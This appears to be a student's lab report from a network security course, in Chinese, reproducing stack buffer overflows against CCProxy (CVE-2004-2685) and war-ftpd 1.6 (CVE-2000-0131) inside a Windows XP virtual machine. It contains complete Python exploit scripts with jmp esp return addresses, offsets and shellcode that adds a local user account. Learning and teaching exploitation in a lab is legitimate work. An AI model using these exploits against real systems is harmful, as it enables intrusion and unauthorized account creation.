赞
踩
2021届沈计所 Sen.W
原因
在冯·诺依曼体系中不区分代码和数据
基本原理
将数据所在内存页标识为不可执行,阻止数据页执行代码。当程序溢出成功尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
缺点
虚拟机:VirtualBox 6.1.30
操作系统:WindowsXP SP2
主机OS:Microsoft Windows10
CVE编号:CVE-2004-2685
安装共享文件夹
关闭winxp的DEP
查询虚拟机IP并连接ccproxy
ipconfig
可以获得ip地址,或者使用127.0.0.1
telnet 你的虚拟机IP地址 23
进行崩溃测试
安装cdb并用命令提示符打开其所在目录
cdb –pn ccproxy.exe
安装cdb,cd 到cdb的安装文件夹下(有cdb.exe)才能使用
在cdb运行界面输入g,然后重新开启一个cmd,如上面第三步连接到ccproxy上,ping2000个A后,cdb页面可获取到访问非法事件(access violation)
我们可以发现esp和esi寄存器也被我们所掌控
计算返回地址的思路
利用一串不重复的字符填充缓冲区,然后查看覆盖RET的字符串,计算它们在整个字符串中的位置,从而得出缓冲区的大小及RET的偏移
C: \Perl\bin> perl.exe patternCreate.pl 1.txt 2000
C: \Perl\bin> perl.exe patternOffset.pl 68423768 2000
得到结果1012使用指向jmp esp命令的地址覆盖返回地址,再把shellcode放置在程序执行JMP ESP指令时ESP指向的地址处,即完成攻击
perl.exe patternCreate.pl 1012.txt 1012
perl.exe patternOffset.pl 61413161 2000
可以得到偏移为为4构造命令字符串
思路:在1012处的后四个字节为指令的返回地址,将指令的返回地址覆盖为jmp esp
,此时的esp指向的是输入字符串的第四个字节,所以在第四个字节开始填充shellcode即可
\90
填充到esp所指向的指令首地址\90
填充到第1012处\x12\x45\xfa\x7f
覆盖返回地址\90
填充到第1107处,如果只填充到1106处不可溢出import socket
import os
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',23)) #telnet用的是23端口
s = sock.recv(2022) # 设置接受对方发送的数据字节数量
# 下面80个字符shellcode具有增加a帐户的功能
shellcode = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'
jmpesp = b'\x12\x45\xfa\x7f'
sendStr = b'ping ' + b'\x90'*4 + shellcode + b'\x90'*(1012-80-4)+ \
jmpesp + b'\x90'* 91
# 最好填充91个nop原因:命令字符串长度为1107可以溢出,在1106不可溢出,why?
sock.send(sendStr) #发送shellcode
sock.send(b'\r\n')
s = sock.recv(2022)
print(s)
# 该构造比较短,但是也可以触发CVE漏洞,但是jmp和返回地址后的填充字符串无法解释
import socket
import os
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',23)) #telnet用的是23端口
s = sock.recv(2022) # 设置接受对方发送的数据字节数量
# 构造shellcode
sendStr = b'ping ' + b'\x90'*4 # 该漏洞的esp就是指向第四个字节
jmp= b'\xE9\x03\xFC\xFF\xFF\x90\x90\x90' #从0x012E6700跳到0x012E6308
# shellcode作用是在本地增加一个a帐户
shellcode = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'
# 为了覆盖返回地址的填充
padding = b'a'*920
#jmpesp = b'\x12\x45\xfa\x7f' # 指向jmp esp指令的地址0x7ffa4512覆盖ret
jmpesp = b'\xed\x1e\x96\x7c'
# 末尾至少填充16个字符
sendStr = sendStr+jmp+shellcode+padding+jmpesp +b'a'*16
sock.send(sendStr) #发送shellcode
sock.send(b'\n')
s = sock.recv(2022)
虚拟机:VirtualBox 6.1.30
虚拟机OS:WindowsXP SP2
物理机OS:Microsoft Windows10
CVE编号:CVE-2000-0131
溢出软件:war-ftpd1.6
打开 war-ftpd,是一个 ftp 服务器的守护进程
步骤:打开Properties—Options—勾选Go Online when star—确定–重启该软件
进行程序溢出测试,找到程序的返回地址的位置
查看常用的地址0x7FFA4512
是否存在jmp esp指令
查看esp寄存器所指向的地址
构造攻击脚本
from ftplib import FTP
# 拼接shellcode
shellcode = '\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'
jmpesp = '\x12\x45\xfa\x7f'
sendStr = 'A' * 485 + jmpesp + 'A' * 4 + shellcode
ftp = FTP('127.0.0.1')
ftp.login(sendStr, 'www')
溢出成功
难点
shellcode的拼接需要准确知道返回地址的位置和esp指向的内存地址,而在拼接过程中,需要使用cdb进行动态的调试,也需要使用perl进行定位。如果出现定位错误,实验的错误难以排查,所以需要细心谨慎。
总结
大学属于软件工程,比较注重项目工程的整体和开发效率,对于网络安全方面没有深入的研究,经过这次网络攻防课程实践,深入理解了关于栈溢出的网络攻防原理,了解了对于栈溢出的防范方法,就如老师所说,只有学会了攻击,才能学会防御。
漏洞原因https://blog.csdn.net/m0_46161993/article/details/106255148
CCProxy 6.2 溢出漏洞分析https://blog.csdn.net/daoyikong_x18/article/details/22860717
关闭数据执行保护https://blog.csdn.net/weixin_34078749/article/details/119230382
资料
漏洞原因https://blog.csdn.net/m0_46161993/article/details/106255148
CCProxy 6.2 溢出漏洞分析https://blog.csdn.net/daoyikong_x18/article/details/22860717
关闭数据执行保护https://blog.csdn.net/weixin_34078749/article/details/119230382
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。